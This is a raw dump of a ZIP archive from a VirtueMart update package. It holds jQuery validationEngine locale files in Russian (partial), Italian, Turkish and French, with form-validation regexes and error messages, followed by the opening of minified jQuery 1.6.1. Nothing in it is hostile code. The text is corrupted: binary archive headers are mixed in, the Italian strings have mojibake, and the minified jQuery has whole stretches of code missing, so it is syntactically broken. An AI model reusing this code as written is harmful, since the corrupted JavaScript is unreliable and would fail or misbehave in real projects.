/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Неверный формат email" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Не целое число" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Неправильное число с плавающей точкой" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Неправильная дата (должно быть в ДД.MM.ГГГГ формате)" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Неправильный IP-адрес" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Неправильный URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Только числа" }, "onlyLetterSp": { "regex": /^[a-zA-Z\u0400-\u04FF\ \']+$/, "alertText": "* Только буквы" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z\u0400-\u04FF]+$/, "alertText": "* Запрещены специальные символы" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Этот пользователь уже занят", "alertTextLoad": "* Проверка, подождите..." }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Это имя уже занято", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Это имя доступно", // speaks by itself "alertTextLoad": "* Проверка, подождите..." }, "validate2fields": { "alertText": "* Пожалуйста, введите HELLO" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\ ttacom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-it.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){}; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Campo richiesto", "alertTextCheckboxMultiple": "* Per favore selezionare un'opzione", "alertTextCheckboxe": "* E' richiesta la selezione della casella" }, "length": { "regex": "none", "alertText": "* Fra ", "alertText2": " e ", "alertText3": " caratteri permessi" }, "maxCheckbox": { "regex": "none", "alertText": "* Numero di caselle da selezionare in eccesso" }, "minCheckbox": { "regex": "none", "alertText": "* Per favore selezionare ", "alertText2": " opzioni" }, "equals": { "regex": "none", "alertText": "* I campi non corrispondono" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numero di telefono non corretto" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Indirizzo non corretto" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Numero intero non corretto" }, "number": { // Number, including positive, negative, and floating decimal. Credit: bassistance "regex": /^[\-\+]?(?:\d+|\d{1,3}(?:,\d{3})+)(?:\.\d+)$/, "alertText": "* Numero decimale non corretto" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Data non corretta, re-inserire secondo formato AAAA-MM-GG" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* IP non corretto" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL non corretta" }, "onlyNumber": { "regex": /^[0-9\ ]+$/, "alertText": "* Solo numeri" }, "onlyLetter": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Solo lettere" }, "validate2fields": { "nname": "validate2fields", "alertText": "* Occorre inserire nome e cognome" }, "noSpecialCharacters": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Caratteri speciali non permessi" }, "ajaxUserCall": { "file": "ajaxValidateFieldName", "extraData": "name=eric", "alertTextLoad": "* Caricamento, attendere per favore", "alertText": "* Questo user � gi� stato utilizzato" }, "ajaxNameCall": { "file": "ajaxValidateFieldName", "alertText": "* Questo nome � gi� stato utilizzato", "alertTextOk": "* Questo nome � disponibile", "alertTextLoad": "* Caricamento, attendere per favore" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\!!acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-tr.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { // Add your regex rules here, you can take telephone as an example "regex": "none", "alertText": "* Bu alan zorunludur", "alertTextCheckboxMultiple": "* Lütfen bir seçeneği işaretleyiniz", "alertTextCheckboxe": "* Bu onay kutusu zorunludur" }, "minSize": { "regex": "none", "alertText": "* Bu alana en az ", "alertText2": " karakter girmelisiniz " }, "maxSize": { "regex": "none", "alertText": "* Bu alana en fazla ", "alertText2": " karakter girebilirsiniz" }, "min": { "regex": "none", "alertText": "* Geçerli en küçük değer: " }, "max": { "regex": "none", "alertText": "* Geçerli en yüksek değer: " }, "past": { "regex": "none", "alertText": "* Lütfen ", "alertText2": " tarihinden daha ileri bir tarih giriniz " }, "future": { "regex": "none", "alertText": "* Lütfen ", "alertText2": " tarihinden daha geri bir tarih giriniz " }, "maxCheckbox": { "regex": "none", "alertText": "* En fazla ", "alertText2": " onay kutusu işaretleyebilirsiniz" }, "minCheckbox": { "regex": "none", "alertText": "* Lütfen en az ", "alertText2": " onay kutusunu işaretleyiniz" }, "equals": { "regex": "none", "alertText": "* Değerler aynı olmalı" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Geçersiz telefon numarası" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Geçersiz eposta adresi" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Geçerli bir tam sayı değil" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Geçerli bir noktalı sayı değil" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Geçersiz tarih. Tarih YYYY-MM-DD formatında olmalı" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Geçersiz IP adresi" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* Geçersiz URL" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Bu alanda sadece rakam olmalı" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Bu alanda sadece harf olmalı" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Bu alanda özel karakterler olamaz" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", // you may want to pass extra data on the ajax call "extraData": "name=eric", "alertText": "* Bu kullanıcı adı kullanımda", "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxUserCallPhp": { "url": "phpajax/ajaxValidateFieldUser.php", // you may want to pass extra data on the ajax call "extraData": "name=eric", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Bu kullanıcı adını kullanabilirsiniz", "alertText": "* Bu kullanıcı adı kullanımda", "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxNameCall": { // remote json service location "url": "ajaxValidateFieldName", // error "alertText": "* Bu isim kullanımda", // if you provide an "alertTextOk", it will show as a green prompt when the field validates "alertTextOk": "* Bu isim kullanılabilir", // speaks by itself "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "ajaxNameCallPhp": { // remote json service location "url": "phpajax/ajaxValidateFieldName.php", // error "alertText": "* Bu isim kullanımda", // speaks by itself "alertTextLoad": "* Doğrulanıyor, lütfen bekleyiniz" }, "validate2fields": { "alertText": "* Lütfen 'HELLO' yazın" } }; } }; $.validationEngineLanguage.newLang(); })(jQuery);PKtl>\ѫ67||acom_virtuemart_update/components/com_virtuemart/assets/js/languages/jquery.validationEngine-fr.jsnuW+A(function($){ $.fn.validationEngineLanguage = function(){ }; $.validationEngineLanguage = { newLang: function(){ $.validationEngineLanguage.allRules = { "required": { "regex": "none", "alertText": "* Ce champs est requis", "alertTextCheckboxMultiple": "* Choisir une option", "alertTextCheckboxe": "* Cette option est requise" }, "minSize": { "regex": "none", "alertText": "* Minimum ", "alertText2": " caracteres requis" }, "maxSize": { "regex": "none", "alertText": "* Maximum ", "alertText2": " caracteres requis" }, "min": { "regex": "none", "alertText": "* Valeur minimum requise " }, "max": { "regex": "none", "alertText": "* Valeur maximum requise " }, "past": { "regex": "none", "alertText": "* Date antérieure au " }, "future": { "regex": "none", "alertText": "* Date postérieure au " }, "maxCheckbox": { "regex": "none", "alertText": "* Nombre max de choix excédé" }, "minCheckbox": { "regex": "none", "alertText": "* Veuillez choisir ", "alertText2": " options" }, "equals": { "regex": "none", "alertText": "* Votre champs n'est pas identique" }, "phone": { // credit: jquery.h5validate.js / orefalo "regex": /^([\+][0-9]{1,3}[ \.\-])?([\(]{1}[0-9]{2,6}[\)])?([0-9 \.\-\/]{3,20})((x|ext|extension)[ ]?[0-9]{1,4})?$/, "alertText": "* Numéro de téléphone invalide" }, "email": { // Shamelessly lifted from Scott Gonzalez via the Bassistance Validation plugin http://projects.scottsplayground.com/email_address_validation/ "regex": /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i, "alertText": "* Adresse email invalide" }, "integer": { "regex": /^[\-\+]?\d+$/, "alertText": "* Nombre entier invalide" }, "number": { // Number, including positive, negative, and floating decimal. credit: orefalo "regex": /^[\-\+]?(([0-9]+)([\.,]([0-9]+))?|([\.,]([0-9]+))?)$/, "alertText": "* Nombre flottant invalide" }, "date": { "regex": /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/, "alertText": "* Date invalide, format YYYY-MM-DD requis" }, "ipv4": { "regex": /^((([01]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))[.]){3}(([0-1]?[0-9]{1,2})|(2[0-4][0-9])|(25[0-5]))$/, "alertText": "* Adresse IP invalide" }, "url": { "regex": /^(https?|ftp):\/\/(((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:)*@)?(((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5]))|((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?)(:\d*)?)(\/((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)+(\/(([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)*)*)?)?(\?((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|[\uE000-\uF8FF]|\/|\?)*)?(\#((([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(%[\da-f]{2})|[!\$&'\(\)\*\+,;=]|:|@)|\/|\?)*)?$/, "alertText": "* URL invalide" }, "onlyNumberSp": { "regex": /^[0-9\ ]+$/, "alertText": "* Seules les chiffres sont acceptées" }, "onlyLetterSp": { "regex": /^[a-zA-Z\ \']+$/, "alertText": "* Seules les lettres sont acceptées" }, "onlyLetterNumber": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Aucun caractère spécial n'est accepté" }, // --- CUSTOM RULES -- Those are specific to the demos, they can be removed or changed to your likings "ajaxUserCall": { "url": "ajaxValidateFieldUser", "extraData": "name=eric", "alertTextLoad": "* Chargement, veuillez attendre", "alertText": "* Ce nom est déjà pris" }, "ajaxNameCall": { "url": "ajaxValidateFieldName", "alertText": "* Ce nom est déjà pris", "alertTextOk": "*Ce nom est disponible", "alertTextLoad": "* Chargement, veuillez attendre" }, "validate2fields": { "alertText": "Veuillez taper le mot HELLO" }, "time": { "regex": /^([1-9]|1[0-2]):[0-5]\d$/, "alertText": "* Veuillez saisir une heurre sous la forme HH-MM" }, "shortText": { "regex": /^[0-9a-zA-Z]+$/, "alertText": "* Maximum de 255 caractère ", "alertText2": "* sans Balise HTML " } }; } }; $.validationEngineLanguage.newLang(); })(jQuery); PKtl>\-WddGcom_virtuemart_update/components/com_virtuemart/assets/js/jquery.min.jsnuW+A/*! * jQuery JavaScript Library v1.6.1 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2011, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Thu May 12 15:04:36 2011 -0400 */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!cj[a]){var b=f("<"+a+">").appendTo("body"),d=b.css("display");b.remove();if(d==="none"||d===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),c.body.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write("");b=cl.createElement(a),cl.body.appendChild(b),d=f.css(b,"display"),c.body.removeChild(ck)}cj[a]=d}return cj[a]}function cu(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function ct(){cq=b}function cs(){setTimeout(ct,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g=0===c})}function W(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function O(a,b){return(a&&a!=="*"?a+".":"")+b.replace(A,"`").replace(B,"&")}function N(a){var b,c,d,e,g,h,i,j,k,l,m,n,o,p=[],q=[],r=f._data(this,"events");if(!(a.liveFired===this||!r||!r.live||a.target.disabled||a.button&&a.type==="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var s=r.live.slice(0);for(i=0;ic)break;a.currentTarget=e.elem,a.data=e.handleObj.data,a.handleObj=e.handleObj,o=e.handleObj.origHandler.apply(e.elem,arguments);if(o===!1||a.isPropagationStopped()){c=e.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function L(a,c,d){var e=f.extend({},d[0]);e.type=a,e.originalEvent={},e.liveFired=b,f.event.handle.call(c,e),e.isDefaultPrevented()&&d[0].preventDefault()}function F(){return!0}function E(){return!1}function m(a,c,d){var 